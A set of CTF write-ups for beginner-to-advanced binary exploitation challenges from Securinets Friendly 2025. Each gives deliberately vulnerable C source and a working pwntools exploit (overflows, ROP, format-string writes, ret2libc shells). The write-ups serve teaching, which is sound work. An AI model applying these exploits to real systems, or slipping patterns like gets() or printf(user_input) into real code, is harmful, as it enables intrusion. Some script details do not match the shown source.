Securinets Friendly 2025 - Pwn Writeups
Table of Contents
#-Summary
This post contains quick writeups for all the binary exploitation (pwn) challenges from the Securinets Friendly 2025 CTF competition. The challenges are organized into three waves, progressively increasing in difficulty from basic netcat connections to ret2libc techniques.
The challenges cover fundamental pwn concepts including:
- Basic netcat usage and shell interaction
- Buffer overflow vulnerabilities
- Return-oriented programming (ROP)
- Format string vulnerabilities
- ret2libc techniques
- Stack manipulation and exploitation
#-Wave 1: Fundamentals
##-baby_netcat
// gcc main.c -o main
#include <stdio.h>
void setup();
void win();
int main(void) {
setup(); // Ignore this
win();
return 0;
}
void win() {
FILE *f = fopen("./flag", "rb");
if (!f) { perror("fopen"); return; }
char c;
while((c = fgetc(f)) != EOF) {
fputc(c, stdout);
}
fclose(f);
}
###-Explanation
This is an introductory challenge that simply requires connecting to the service using netcat. The program automatically reads and prints the flag file. This challenge teaches basic netcat usage and remote connection concepts.
###-Solution
Simply connect to the service and the flag will be displayed automatically.
#!/usr/bin/python3
from pwn import *
# Connect to remote service
io = remote('pwn.ctf-friendly.securinets.tn', 1337)
io.interactive()
Flag: SecuriNets{ju57_nc_70_g37_7h3_fl49}
##-baby_shell
// gcc main.c -o main
#include <stdio.h>
#include <stdlib.h>
void setup();
int main(void) {
setup(); // Ignore this
system("/bin/sh");
return 0;
}
###-Explanation
This challenge is designed to help you practice basic shell commands in a remote environment. The program automatically gives you a shell when you connect. The goal is to learn how to navigate the filesystem using basic Linux commands like ls
to list files and cat
to read file contents.
###-Solution
Once connected, use standard shell commands to find and read the flag file.
#!/usr/bin/python3
from pwn import *
# Connect to remote service
io = remote('host', port)
io.sendline(b'ls') # list files
io.sendline(b'cat flag') # cat the flag
io.interactive()
Flag: SecuriNets{c4t_fl49_r3m073_5h3ll}
##-baby_overflow
// gcc main.c -o main -Wno-implicit-function-declaration
#include <stdio.h>
#include <stdlib.h>
void vuln() {
int64_t key = 0x1337;
volatile int64_t pad = 0x0;
char buffer[8];
puts("The floor is yours, express yourself");
printf("> ");
gets(buffer);
if (key == 0x1337) {
puts("key is intact, no flag for you");
} else {
puts("Woah! how did you do that");
win();
}
}
###-Explanation
This challenge introduces classic buffer overflow vulnerability using the dangerous gets()
function. The stack layout has:
buffer[8]
(8 bytes)pad
variable (8 bytes)key
variable (8 bytes)
We need to overflow the 8-byte buffer to corrupt the key
variable and change it from 0x1337 to something else.
###-Solution
We need to send 16 bytes to fill the buffer and pad, then at least one more byte to modify the key.
#!/usr/bin/python3
from pwn import *
# Connect to remote service
io = remote('host', port)
payload = b'A' * 0x10 # override the buffer and pad variables
payload += b'B' # override the first byte of the key variable
# sendline() will also add a null byte, overriding the second byte of key
io.sendline(payload)
io.interactive()
Flag: SecuriNets{st4ck_r3writ3_k3y_fl49}
##-controlled_overflow
// gcc main.c -o main -Wno-implicit-function-declaration
#include <stdio.h>
#include <stdlib.h>
void vuln() {
int64_t key = 0x1337;
volatile int64_t pad = 0x0;
char buffer[8];
gets(buffer);
if (key == 0x1337) {
puts("key is intact, no flag for you");
} else if (key == 0x3030303030303030) {
puts("Woah! how did you do that");
win();
} else {
printf("Key should be 0x3030303030303030\n");
printf("But currently it is 0x%016lx\n", key);
puts("You need to put the right value in the key variable");
}
}
###-Explanation
This challenge demonstrates controlled buffer overflow where we need to overflow the buffer to overwrite the key
variable with a specific value: 0x3030303030303030. The stack layout has buffer[8]
, pad
(8 bytes), and key
(8 bytes). We need to overflow the buffer to write the exact required value into the key.
###-Solution
We need to send enough data to fill the buffer and pad, then write the specific value 0x3030303030303030 to the key variable.
#!/usr/bin/python3
from pwn import *
# Connect to remote service
io = remote('host', port)
payload = b'A' * 0x10 # fill buffer + pad
payload += p64(0x3030303030303030) # overwrite key with required value
io.sendline(payload)
io.interactive()
Flag: SecuriNets{st4ck_c0n7r0ll3d_0v3rfl0w_r3writ3_k3y_fl49}
##-baby_pwntools
// gcc main.c -o main
#include <stdio.h>
#include <stdlib.h>
void vuln() {
int64_t secret = 0xc0d3b4b3;
printf("My secret is 0x%016lx\n> ", secret);
fgets((char*)&secret, 0x8, stdin);
puts("Did you pull it off?");
printf("My secret is now 0x%016lx\n", secret);
if (secret == 0x0) {
puts("You did it!");
win();
} else {
puts("There are still traces of my secret out there!");
puts("The memory needs to be nulled");
puts("Please use pwntools to wipe it out");
}
}
###-Explanation
This challenge is designed to teach you how to use pwntools for binary exploitation. The program reads 8 bytes directly into a secret variable and checks if you can make it equal to 0x0. This isn't about finding a vulnerability - it's about learning to use pwntools to send specific bytes (null bytes in this case) to a program.
###-Solution
Use pwntools to send 8 null bytes to zero out the secret variable.
#!/usr/bin/python3
from pwn import *
# Connect to remote service
io = remote('host', port)
payload = b'\x00' * 0x8
io.sendline(payload)
io.interactive()
Flag: SecuriNets{pwn700l5_m4k35_l1f3_5up3r_dup3r_345y}
##-calculator
// gcc main.c -o main
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
void alarm_handler() {
puts("You took too long");
exit(0);
}
void vuln() {
int64_t sum = 0;
for (int i = 0; i < 60; i++) {
int temp = random() % 100;
sum += temp;
printf("%d\n", temp);
}
puts("--------------------------------");
signal(SIGALRM, alarm_handler);
alarm(2);
int64_t input;
printf("> ");
scanf("%lld", &input);
if (input == sum) {
win();
} else {
puts("You can't do math");
}
}
###-Explanation
This challenge provides more practice with pwntools automation. The program generates 60 random numbers and gives you only 2 seconds to calculate and submit their sum. This teaches you how to use pwntools to parse program output, perform calculations, and respond quickly - essential skills for binary exploitation where timing and automation are crucial.
###-Solution
Use pwntools to automatically read the numbers, calculate their sum, and submit the result within the time limit.
#!/usr/bin/python3
from pwn import *
# Connect to remote service
io = remote('host', port)
io.recvuntil(b'--------------------------------\n')
sum = 0
for i in range(60):
sum += int(io.recvline().strip(), 10)
io.sendline(str(sum).encode())
io.interactive()
Flag: SecuriNets{y0ur3_574r71n9_70_m4573r_pwnt00l5_99}
##-jmp2win
// gcc main.c -o main
#include <stdio.h>
#include <stdlib.h>
void vuln() {
int64_t function_to_call = 0x0;
printf("function_to_call: 0x%016lx\n", function_to_call);
puts("Write exactly 8 bytes:");
fgets((char*)&function_to_call, 0x8, stdin);
printf("function_to_call: 0x%016lx\n\n", function_to_call);
puts("Here goes nothing…");
((void (*)())function_to_call)();
}
void win() {
// reads and prints flag
}
###-Explanation
This challenge provides even more pwntools practice, serving as a warm-up for ret2win techniques. The program helpfully gives you the address of the win()
function and asks you to provide a function address to call. This teaches you how to parse hexadecimal addresses from program output and use them in your exploit - a fundamental skill for binary exploitation.
###-Solution
Use pwntools to parse the win() address from the program output and send it back when prompted.
#!/usr/bin/python3
from pwn import *
# Connect to remote service
io = remote('host', port)
io.recvuntil(b': ')
win = int(io.recvline()[:-1], 16)
io.sendline(p64(win))
io.interactive()
Flag: SecuriNets{7h15_15_ju57_4_w4rmup_f0r_ret2win}
##-ret2win
// gcc main.c -o main -Wno-implicit-function-declaration
#include <stdio.h>
#include <stdlib.h>
void vuln() {
char buffer[8];
printf("Override saved rip with the address of win: 0x%016llx\n> ", &win);
gets(buffer);
puts("Here goes nothing...");
}
void win() {
FILE *f = fopen("./flag", "rb");
// ... reads and prints flag
}
###-Explanation
This challenge introduces the classic "return-to-win" technique. The program uses the vulnerable gets()
function and conveniently provides the address of the win()
function. We need to overflow the buffer to overwrite the saved return address on the stack with the address of win()
.
The stack layout for the vuln()
function is:
buffer[8]
(8 bytes)- saved rbp (8 bytes)
- saved return address (8 bytes)
###-Solution
We need to overflow the buffer and saved rbp, then overwrite the return address with the address of win()
.
#!/usr/bin/python3
from pwn import *
# Connect to remote service
io = remote('host', port)
io.recvuntil(b': ')
win = int(io.recvline()[:-1], 16)
payload = b'A' * 0x10 # overflow buffer + saved rbp
payload += p64(win) # overwrite return address with win()
io.sendline(payload)
io.interactive()
Flag: SecuriNets{y0u_c4n_d0_4_r37_2_w1n_y0ur_j0urn3y_h45_0ff1c14lly_b3gun}
#-Wave 2: Intermediate Techniques
##-ret2win_args
// gcc main.c -o main -Wno-implicit-function-declaration -m32
#include <stdio.h>
#include <stdlib.h>
void vuln() {
char buffer[4];
puts("Let's see what you have to say for yourself");
printf("> ");
gets(buffer);
puts("Here goes nothing...");
}
void win(int arg) {
puts("You've reached the win function");
puts("The value of arg expected is 0x1337");
printf("The value of arg you passed is 0x%08x\n", arg);
if (arg != 0x1337) {
puts("YOU LOSE");
exit(0);
}
puts("YOU WIN");
// prints flag
}
###-Explanation
This 32-bit challenge introduces function arguments in buffer overflow exploitation. We need to not only redirect execution to the win()
function but also provide the correct argument (0x1337). In 32-bit x86, arguments are passed on the stack after the return address.
###-Solution
In 32-bit calling convention, we need to set up the stack with: return address to win, fake return address, then the argument 0x1337.
#!/usr/bin/python3
from pwn import *
elf = ELF('./main')
# Connect to remote service
io = remote('host', port)
payload = b'A' * 0x8 # buffer
payload += b'BBBB' # saved ebp
payload += p32(elf.sym.win) # return to win
payload += b'CCCC' # fake return address
payload += p32(0x1337) # argument
io.sendline(payload)
io.interactive()
Flag: SecuriNets{r3t2w1n_w17h_4r95_15_345yyyy}
##-ret2win_args_64
// gcc main.c -o main -Wno-implicit-function-declaration
#include <stdio.h>
#include <stdlib.h>
void gadgets() {
__asm__(
"pop %rdi;\n"
"ret;"
"pop %rsi;\n"
"ret;"
);
}
void vuln() {
char buffer[8];
puts("Let's see what you have to say for yourself");
printf("> ");
gets(buffer);
puts("Here goes nothing...");
}
void win(int arg1, int arg2) {
puts("You've reached the win function");
puts("The value of arg1 expected is 0x1337");
printf("The value of arg1 you passed is 0x%016lx\n", arg1);
puts("The value of arg2 expected is 0xc0d3b4b3");
printf("The value of arg2 you passed is 0x%016lx\n", arg2);
if (arg1 != 0x1337 || arg2 != 0xc0d3b4b3) {
puts("YOU LOSE");
exit(0);
}
puts("YOU WIN");
// prints flag
}
###-Explanation
This 64-bit version requires understanding x86-64 calling convention where the first six arguments are passed in registers (RDI, RSI, RDX, RCX, R8, R9). The program conveniently provides ROP gadgets to set up these registers with the required values (0x1337 and 0xc0d3b4b3).
###-Solution
Use the provided ROP gadgets to set up the arguments in the correct registers before calling win().
#!/usr/bin/python3
from pwn import *
elf = ELF('./main')
# Connect to remote service
io = remote('host', port)
# Use the provided gadgets
pop_rdi = elf.sym.gadgets + 4 # pop rdi; ret
pop_rsi = elf.sym.gadgets + 6 # pop rsi; ret
payload = b'A' * 0x10 # buffer + saved rbp
payload += p64(pop_rdi) # pop rdi; ret
payload += p64(0x1337) # arg1 -> rdi
payload += p64(pop_rsi) # pop rsi; ret
payload += p64(0xc0d3b4b3) # arg2 -> rsi
payload += p64(elf.sym.win) # call win()
io.sendline(payload)
io.interactive()
Flag: SecuriNets{r3t2w1n_w17h_4r95_15_345yyy_3v3n_1n_64_b17}
##-baby_format_strings
// gcc main.c -o main
#include <stdio.h>
#include <stdlib.h>
#define FLAG_SIZE 256
char flag[FLAG_SIZE];
void vuln() {
char arg1[10];
long arg2;
printf("First arg (string)\n> ");
fgets(arg1, sizeof(arg1), stdin);
arg1[strcspn(arg1, "\n")] = 0;
printf("Second arg (pointer)\n> ");
fgets((char*)&arg2, sizeof(arg2), stdin);
puts("");
hexdump("arg1", arg1);
hexdump("arg2", &arg2);
printf("\ncalling printf(%s, %p)\n\n", arg1, arg2);
printf(arg1, arg2);
}
void banner() {
puts("I have read the flag into a buffer for you.");
printf("It is stored at %p\n", &flag);
puts("I will call printf with 2 args you give me");
}
###-Explanation
This challenge teaches you about format specifiers in C and how they work with printf. The program helpfully provides you with a format string and a pointer argument to practice with. This introduces the concept of format strings in a controlled environment where you can learn how %s
reads strings from memory addresses.
###-Solution
Use the %s
format specifier to read the flag from the provided memory address.
#!/usr/bin/python3
from pwn import *
# Connect to remote service
io = remote('host', port)
io.recvuntil(b'It is stored at ')
flag_addr = int(io.recvline().strip(), 16)
io.recvuntil(b'> ')
io.sendline(b'%s') # format string
io.recvuntil(b'> ')
io.sendline(p64(flag_addr)) # pointer to flag
io.interactive()
Flag: SecuriNets{f0rm47_5p3c1f13r5_1n_C_4r3_4w340m3}
##-baby_format_strings_2
// gcc main.c -o main
#include <stdio.h>
#include <stdlib.h>
#define FLAG_SIZE 256
void vuln() {
char user_input[256];
char flag[FLAG_SIZE];
// Reads the flag and stores it on the stack
FILE *f = fopen("./flag", "r");
if (!f) {
perror("Failed to open ./flag");
exit(EXIT_FAILURE);
}
if (!fgets(flag, sizeof(flag), f)) {
perror("Failed to read ./flag");
fclose(f);
exit(-1);
}
fclose(f);
puts("");
printf("Tell me something and I will echo it\n> ");
fgets(user_input, sizeof(user_input), stdin);
printf(user_input);
}
###-Explanation
This challenge teaches you about format string vulnerabilities where user input is directly passed to printf. The program reads the flag into a local buffer on the stack and then echoes back whatever you input using printf. You can use format specifiers to read data from the stack, including the flag that was stored there.
###-Solution
Use format specifiers to read the flag from the stack. Since the flag is stored as a local variable, you can use positional format specifiers like %7$s
to read it.
#!/usr/bin/python3
from pwn import *
# Connect to remote service
io = remote('host', port)
io.recvuntil(b'> ')
payload = b'0x%016lx,' * 0x10
io.sendline(payload)
data = io.clean()
data = data.split(b',')
flag = ""
reached_flag = False
for i in range(len(data)):
s = int(data[i], 16).to_bytes(8, 'little')
if b'Securi' in s:
reached_flag = True
if b'}' in s:
flag += s[:s.find(b'}')+1].decode()
break
if reached_flag:
flag += s.decode()
print(flag)
io.interactive()
Flag: SecuriNets{f0rm47_5p3c1f13r5_4ll0w_f0r_m4ny_sh3n4n194n5}
##-format_strings_3
void vuln() {
int key = 0x1236;
char user_input[256];
printf("my key is at %p\n", &key);
printf("Tell me something and I will echo it\n> ");
fgets(user_input, sizeof(user_input), stdin);
printf(user_input);
printf("key 0x%08lx\n", key);
if (key == 0x1337) {
puts("GG");
win();
}
}
###-Explanation
This challenge extends format string exploitation to writing arbitrary values to memory addresses.
###-Solution
#!/usr/bin/python3
from pwn import *
# Connect to remote service
io = remote('host', port)
io.recvuntil(b'Address of key: ')
key_addr = int(io.recvline().strip(), 16)
# 0x1337 = 4919 in decimal
# We need to print 4919 characters and then use %n
payload = f"%{4919}c%7$n".encode()
payload += b'A' * (8 - (len(payload) % 8)) # padding for alignment
payload += p64(key_addr)
io.sendline(payload)
io.interactive()
Flag: SecuriNets{m4n1pul471n9_m3m0ry_u51n9_f0rm47_57r1n95}
##-ret2win_barricade
// gcc main.c -o main
#include <stdio.h>
#include <stdlib.h>
void win() {
puts("You've reached the beginning of the win function");
puts("Too bad, you had to jump over the barricade");
void (*exit_ptr)(int) = exit;
exit_ptr(0);
puts("Woah! Nice jump");
system("/bin/sh");
}
void vuln() {
char buffer[8];
dump_stack(); // This function is ONLY here for debugging/visibility. Skip it.
puts("Let's see what you have to say for yourself");
printf("> ");
gets(buffer);
dump_stack(); // This function is ONLY here for debugging/visibility. Skip it.
puts("Here goes nothing...");
}
###-Explanation
This challenge introduces the concept of bypassing obstacles within functions. The win()
function contains an exit(0)
call in the middle that would terminate our exploit before we reach the system("/bin/sh")
call. We need to jump over this "barricade" by calculating the exact offset to skip the exit call and land directly on the shell execution.
###-Solution
We need to jump to an address within the win()
function that skips over the exit(0)
call and lands directly on system("/bin/sh")
.
#!/usr/bin/python3
from pwn import *
# Connect to remote service
io = remote('host', port)
io.recvuntil(b'The win function is at ')
win = int(io.recvline().strip(), 16)
payload = b'A' * 0x10
payload += p64(win + 60)
io.sendline(payload)
io.interactive()
Flag: SecuriNets{50m371m35_y0u_n33d_70_0ff537_y0ur_jump5}
##-rich
// gcc main.c -o main -Wno-implicit-function-declaration
#include <stdio.h>
#include <stdlib.h>
int networth = 0;
void vuln() {
char buffer[8];
dump_stack(); // This function is ONLY here for debugging/visibility. Skip it.
puts("Do you have enough cash on you?");
printf("> ");
gets(buffer);
dump_stack(); // This function is ONLY here for debugging/visibility. Skip it.
}
void get_a_job() {
puts("Thank you for your hard work");
puts("We'll award you 10 SecuriPoints");
networth += 10;
}
void win() {
FILE *f = fopen("./flag", "rb");
if (!f) { perror("fopen"); exit(-1); }
if (networth < 100) {
puts("The flag costs 100 SecuriPoints");
printf("You only have %d\n", networth);
exit(0);
}
char c;
while((c = fgetc(f)) != EOF) {
fputc(c, stdout);
}
fclose(f);
}
###-Explanation
This challenge requires accumulating enough "SecuriPoints" to afford the flag. We need to call get_a_job()
at least 10 times to reach 100 points, then call win()
.
###-Solution
We use a ROP chain to call get_a_job()
10 times to accumulate 100 points, then call win()
.
#!/usr/bin/python3
from pwn import *
elf = ELF('./main')
# Connect to remote service
io = remote('host', port)
io.recvuntil(b'The get_a_job function is at ')
get_a_job = int(io.recvline()[:-1], 16)
payload = b'A' * 0x10
payload += p64(get_a_job) * 0xa # Call get_a_job 10 times
payload += p64(get_a_job + elf.sym.win - elf.sym.get_a_job) # Call win
io.sendline(payload)
io.interactive()
Flag: SecuriNets{r37urn1n9_mul71pl3_71m35_70_937_7h3_fl49}
##-broke
// gcc main.c -o main -Wno-implicit-function-declaration
#include <stdio.h>
#include <stdlib.h>
int networth = 1000;
int donation = 10;
void vuln() {
char buffer[8];
puts("Do you need assistance or would you like to support our mission?");
printf("> ");
gets(buffer);
}
void donate_to_mission() {
puts("Thank you for your donating to our mission");
if (donation == 0) {
puts("You've already donated");
exit(0);
}
networth -= donation;
donation = 0;
printf("Networth: %d\n", networth);
}
void get_hired() {
puts("Thank you for your hard work, you got compensated with 200000000 SecuriPoints");
networth += 200000000;
printf("Networth: %d\n", networth);
}
void win() {
if (networth >= 0) {
puts("You're not broke");
exit(0);
}
// prints flag if networth < 0
}
###-Explanation
This challenge explores the concept of "suffering from success" through integer overflow. The challenge asks: can you get so rich that you become poor? The get_hired()
function adds 200,000,000 points each time, but if called enough times, the integer will overflow and wrap around to negative values, making you "broke". The win condition requires having negative networth.
###-Solution
Use a ROP chain to call get_hired()
enough times to cause integer overflow, wrapping the networth to negative values.
#!/usr/bin/python3
from pwn import *
elf = context.binary = ELF('./main')
# Connect to remote service
io = remote('host', port)
io.recvuntil(b'the donate_to_mission function is at ')
elf.address = int(io.recvline().strip(), 16) - elf.sym.donate_to_mission
payload = b'A' * 0x10
payload += p64(elf.sym.get_hired) * 11 # Call get_hired 11 times to overflow
payload += p64(elf.sym.win) # Finally call win
io.sendline(payload)
io.interactive()
Flag: SecuriNets{y0u_g07_50_r1ch_y0ur_p0ck375_r1pp3d}
#-Wave 3: Advanced Techniques
##-baby_ret2libc
// gcc main.c -o main -Wno-implicit-function-declaration
#include <stdio.h>
#include <stdlib.h>
void gadgets() {
__asm__(
"pop %rdi;\n"
"ret;"
"pop %rsi;\n"
"ret;"
);
}
void vuln() {
char buffer[8];
printf("address of system() 0x%016llx\n", &system);
printf("address of the gadgets 0x%016llx\n> ", &gadgets);
gets(buffer);
puts("Here goes nothing...");
}
###-Explanation
This challenge introduces ret2libc techniques. Instead of having a convenient win()
function, we need to call system("/bin/sh")
using libc functions. The program provides the address of system()
and ROP gadgets to set up arguments.
###-Solution
We need to use the provided gadgets to set up RDI with a pointer to "/bin/sh" and then call system()
.
#!/usr/bin/python3
from pwn import *
elf = context.binary = ELF('./main')
libc = ELF('./libc.so.6')
# Connect to remote service
io = remote('host', port)
io.recvuntil(b'address of system() ')
system_addr = int(io.recvline()[:-1], 16)
libc.address = system_addr - libc.sym.system
io.recvuntil(b'address of the gadgets ')
gadgets = int(io.recvline().strip(), 16)
# gadgets layout: pop rdi; ret; pop rsi; ret
pop_rdi = gadgets + 4
bin_sh = next(libc.search(b"/bin/sh\x00"))
payload = b'A' * 0x10 # buffer + saved rbp
payload += p64(pop_rdi) # pop rdi; ret
payload += p64(bin_sh) # "/bin/sh" -> rdi
payload += p64(system_addr) # call system()
io.sendline(payload)
io.interactive()
Flag: SecuriNets{f0rg37_7h3_w1n_func710n_4nd_jump_70_sys73m_b1nsh}
##-ret2libc
// gcc main.c -o main -Wno-implicit-function-declaration
#include <stdio.h>
#include <stdlib.h>
void gadgets() {
__asm__(
"pop %rdi;\n"
"ret;"
"pop %rsi;\n"
"ret;"
);
}
void vuln() {
char buffer[8];
dump_stack(); // This function is ONLY here for debugging/visibility. Skip it.
printf("address of the gadgets 0x%016llx\n> ", &gadgets);
gets(buffer);
dump_stack(); // This function is ONLY here for debugging/visibility. Skip it.
puts("Here goes nothing...");
}
###-Explanation
This challenge demonstrates a more realistic ret2libc scenario where we only get a PIE leak (gadgets address) and need to do a ROP to leak a libc address.
###-Solution
We use the puts() leak to calculate libc base, then find system() and "/bin/sh".
#!/usr/bin/python3
from pwn import *
elf = ELF('./main')
libc = ELF('./libc.so.6')
# Connect to remote service
io = remote('host', port)
io.recvuntil(b'address of the gadgets ')
elf.address = int(io.recvline().strip(), 16) - elf.sym.gadgets
payload = b'A' * 0x10
payload += p64(elf.sym.gadgets+0x4)
payload += p64(elf.got.gets)
payload += p64(elf.sym.puts)
payload += p64(elf.sym.vuln)
io.sendline(payload)
io.recvuntil(b'Here goes nothing...\n')
libc.address = u64(io.recvline()[:-1].ljust(0x8, b'\x00')) - libc.sym.gets
print(hex(libc.address))
payload = b'A' * 0x10
payload += p64(elf.sym.gadgets+0x4)
payload += p64(next(libc.search(b'/bin/sh\x00')))
payload += p64(elf.sym.gadgets+0x5)
payload += p64(libc.sym.system)
io.sendline(payload)
io.interactive()
Flag: SecuriNets{dumping_libc_70_f1nd_sys73m_4nd_g3t_binsh}
##-format_strings_4
// gcc main.c -o main
#include <stdio.h>
#include <stdlib.h>
void vuln() {
char user_input[128];
printf("> ");
fgets(user_input, sizeof(user_input), stdin);
printf(user_input);
printf("> ");
fgets(user_input, sizeof(user_input), stdin);
printf(user_input);
}
###-Explanation
This advanced format string challenge demonstrates a two-stage exploit technique. The program gives you two format string vulnerabilities in sequence. The challenge includes a stack dump that reveals the saved return address location. You need to:
- Stage 1: Use the first format string to leak the binary base address from the stack
- Stage 2: Use the second format string to overwrite the saved return address with the
win()
function address using byte-level writes
This technique is more realistic as it doesn't provide the target address directly - you must calculate it from leaked information.
###-Solution
A two-stage format string exploit that first leaks addresses, then overwrites the return address.
#!/usr/bin/python3
from pwn import *
elf = context.binary = ELF('./main')
# Connect to remote service
io = remote('host', port)
# Parse the stack dump to get saved return address location
for i in range(5):
io.recvuntil('├'.encode('utf-8'))
io.recvuntil('│ \x1b[33m'.encode('utf-8'))
saved_rip = int(io.recvuntil('\x1b[31m'.encode('utf-8'), drop=True), 16)
io.recvuntil(b'> ')
# Stage 1: Leak binary base address
payload = b'%18$p'
io.sendline(payload)
elf.address = int(io.recvline().strip(), 16) - 0x3dd8
log.success("Base address " + hex(elf.address))
io.recvuntil(b'> ')
# Stage 2: Overwrite saved return address with win() using byte writes
payload = fmtstr_payload(6, {saved_rip : elf.sym.win}, write_size='byte')
io.sendline(payload)
io.interactive()
Flag: SecuriNets{r372w1n_by_h4rv3571n9_7h3_p0w3r_0f_f0rm47_57r1n95}
##-ret2libc_final
// gcc main.c -o main
#include <stdio.h>
#include <stdlib.h>
void vuln() {
char buffer[8];
printf("I will echo what you tell me\n> ");
read(0, buffer, 0x30);
printf(buffer);
}
###-Explanation
This is the ultimate ret2libc challenge with minimal information provided. The program has both format string and buffer overflow vulnerabilities, but provides no PIE leak. We need to leak a libc address first, then use that to perform ret2libc. Since we don't have a PIE leak to know the full binary base address, we can only overwrite the lowest byte of the return address to redirect execution back to vuln()
for a second stage. This off-by-one technique allows us to loop back without knowing the complete address space layout.
###-Solution
This requires a two-stage approach combining format string leak with off-by-one buffer overflow:
#!/usr/bin/python3
from pwn import *
elf = ELF('./main')
libc = ELF('./libc.so.6')
# Connect to remote service
io = remote('host', port)
io.recvuntil(b'> ')
# Stage 1: Format string leak + off-by-one redirect
payload = b'%3$p' + b'A' * 12 # Leak libc address
payload += p8((elf.sym.vuln & 0xff) + 0x1) # Overwrite only lowest byte of ret addr
# to redirect back to vuln() (no PIE leak needed)
io.send(payload)
libc.address = int(io.recvuntil(b'A', drop=True), 16) - 0x1147e2
log.success("libc " + hex(libc.address))
# Stage 2: Now we can do full ret2libc with known libc base
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
payload = b'A' * 0x10
payload += p64(pop_rdi)
payload += p64(next(libc.search(b'/bin/sh\x00')))
payload += p64(pop_rdi+0x1) # stack alignment
payload += p64(libc.sym.system)
io.sendline(payload)
io.interactive()
Flag: SecuriNets{0ff_by_0n3_l34k_4nd_c0nqu3r_l1bc_l1k3_4_pr0}
##-bronze
// gcc main.c -o main
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>
unsigned char buf[72];
void get_random_sequence() {
uint8_t fd = open("/dev/random", O_RDONLY);
if (read(fd, buf, 72) != 72) {
exit(-1);
}
for (int i = 0; i < 72; i++) {
buf[i] = (buf[i] << 1) + 1;
}
}
int compare_with_nulls(char *i, char *j, int size) {
for (int k = 0; k < size; k++) {
if ((i[k] ^ j[k]) != 0) {
return 1;
}
}
return 0;
}
void vuln() {
long i = 0;
char user_input[72];
for (i = 0; i < 10; i++) {
get_random_sequence();
scanf("%72s", user_input);
if(!compare_with_nulls(user_input, buf, 72)) {
system("cat flag");
} else {
printf("No, it was %s\n", buf);
}
}
puts("skill issue");
}
###-Explanation
This challenge was designed as a logic puzzle that didn't require advanced technical skills, but rather a good eye for detail. The key insight is noticing that fd
is declared as uint8_t
, which can only hold values 0-255.
The vulnerability lies in the integer overflow: when open("/dev/random", O_RDONLY)
returns a file descriptor greater than 255 (which happens after many file operations), the uint8_t fd
wraps around to 0. When fd = 0
, read(0, buf, 72)
reads from stdin instead of /dev/urandom
!
The strategy is:
- Use buffer overflow to trigger many iterations and exhaust file descriptors until
fd
overflows to 0 - Once
fd = 0
, we control what gets read intobuf
since it reads from our input - Send the transformed input that matches the expected pattern
###-Solution
Exploit the integer overflow to control the "random" data source.
#!/usr/bin/python3
from pwn import *
elf = context.binary = ELF('./main')
# Connect to remote service
io = remote('host', port)
# Stage 1: Overflow fd counter to make it wrap to 0
payload = b'A' * 72
for i in range(253): # Exhaust file descriptors
sleep(0.01)
io.send(payload)
io.sendline(payload)
# Stage 2: Now fd=0, so read() reads from our input
# We need to send data that when transformed matches our guess
shifted_byte = (0x41 << 1) + 1 # Transform 'A' the same way the program does
payload = p8(shifted_byte) * 72
io.sendline(payload)
io.interactive()
Flag: SecuriNets{0ff_by_0n3_0nc3_4941n_???}